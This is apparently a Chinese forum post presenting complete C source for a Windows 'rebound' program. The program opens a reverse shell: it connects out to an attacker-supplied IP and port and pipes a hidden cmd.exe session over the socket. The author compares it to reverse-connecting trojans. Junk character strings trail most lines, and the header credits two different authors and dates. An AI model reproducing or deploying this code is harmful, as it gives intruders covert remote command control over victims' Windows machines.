这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8C7Z{@A
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/* ============================== Y*LaBxt Q
Rebound port in Windows NT *#&*`iJ(
By wind,2006/7 b,<9
===============================*/ 'q{733o
#include Q6'nSBi:A_
#include tju|UhP3
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#pragma comment(lib,"wsock32.lib") .p&Yr%~
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void OutputShell(); uk7'K 0j
SOCKET sClient; m,_d^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9|WV~
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void main(int argc,char **argv) 23ze/;6%A
{ 1HR~G9
WSADATA stWsaData; RBGX_v?
int nRet; 80B>L
SOCKADDR_IN stSaiClient,stSaiServer; .$rC0<G[K
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if(argc != 3) ofdZ1F
{ Is.WZYa
printf("Useage:\n\rRebound DestIP DestPort\n"); XFqJ 'R
return; C)RBkcb
} S h4wqf
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WSAStartup(MAKEWORD(2,2),&stWsaData); #exss=as/
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \%A%s*1
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stSaiClient.sin_family = AF_INET; BavO\{J#|0
stSaiClient.sin_port = htons(0); { T]?o~W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b1`r!B,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >G"X J<IO
{ ]MTbW=*}ED
printf("Bind Socket Failed!\n"); 5g
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return; =Agg_h
} [=TCEU{"~
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stSaiServer.sin_family = AF_INET; k9si|'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vS?odqi#n
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sz95i|@/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [`_io>*g
{ ;</Lf=+Vm
printf("Connect Error!"); NCS!:d:Ry
return; W{"XJt_
} mZvG|P$}
OutputShell(); 6[dur'x
} EeQ5vqU
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void OutputShell() ,/Cq
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{ 5,KWprb
char szBuff[1024]; (Xxn\*S
SECURITY_ATTRIBUTES stSecurityAttributes; 5\4g>5PD
OSVERSIONINFO stOsversionInfo; ~oD8Rnf
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m}Y0xV9
STARTUPINFO stStartupInfo; 9s$U%F6}
char *szShell; b= PVIZ
PROCESS_INFORMATION stProcessInformation; r.3KPiYK
unsigned long lBytesRead; HK=[U9 o?
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Oe]&(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $p* p
stSecurityAttributes.lpSecurityDescriptor = 0; Sfjje4R
stSecurityAttributes.bInheritHandle = TRUE; e 9$C#D>D
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %Kb9tHg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x8#ODuH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =P77"Dd
stStartupInfo.wShowWindow = SW_HIDE; ]Uc`J8p,
stStartupInfo.hStdInput = hReadPipe; _%@=Uc6V
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; dj9?t
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GetVersionEx(&stOsversionInfo); g[z.*y/
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switch(stOsversionInfo.dwPlatformId) bha?eN
{ 9ptFG]lZ
case 1: Vd9@Dy
szShell = "command.com"; !sSQQo2Sv
break; ,d,\-x-+/
default: rnm03 '{
szShell = "cmd.exe"; |Rzy8j*
break; r4 dOK] 0
} V_^@
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q!,zq
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send(sClient,szMsg,77,0); UH`h OJ?
while(1) V,7%1TZ:
{ WgR4Ix^L#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }odV_WT
if(lBytesRead) ni CE\B~
{ d}I(`%%)
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;DRTQn`m
send(sClient,szBuff,lBytesRead,0); N]/!mo?
} do/)~9[4\
else !UBO_X%dz
{ !E\[SjY@J
lBytesRead=recv(sClient,szBuff,1024,0); +*nGp5=^GE
if(lBytesRead<=0) break; Bd0eC#UGkQ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ),^eA
} w2gf&Lc\
} @)YY\l#
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return; 5t:8.%<UK
}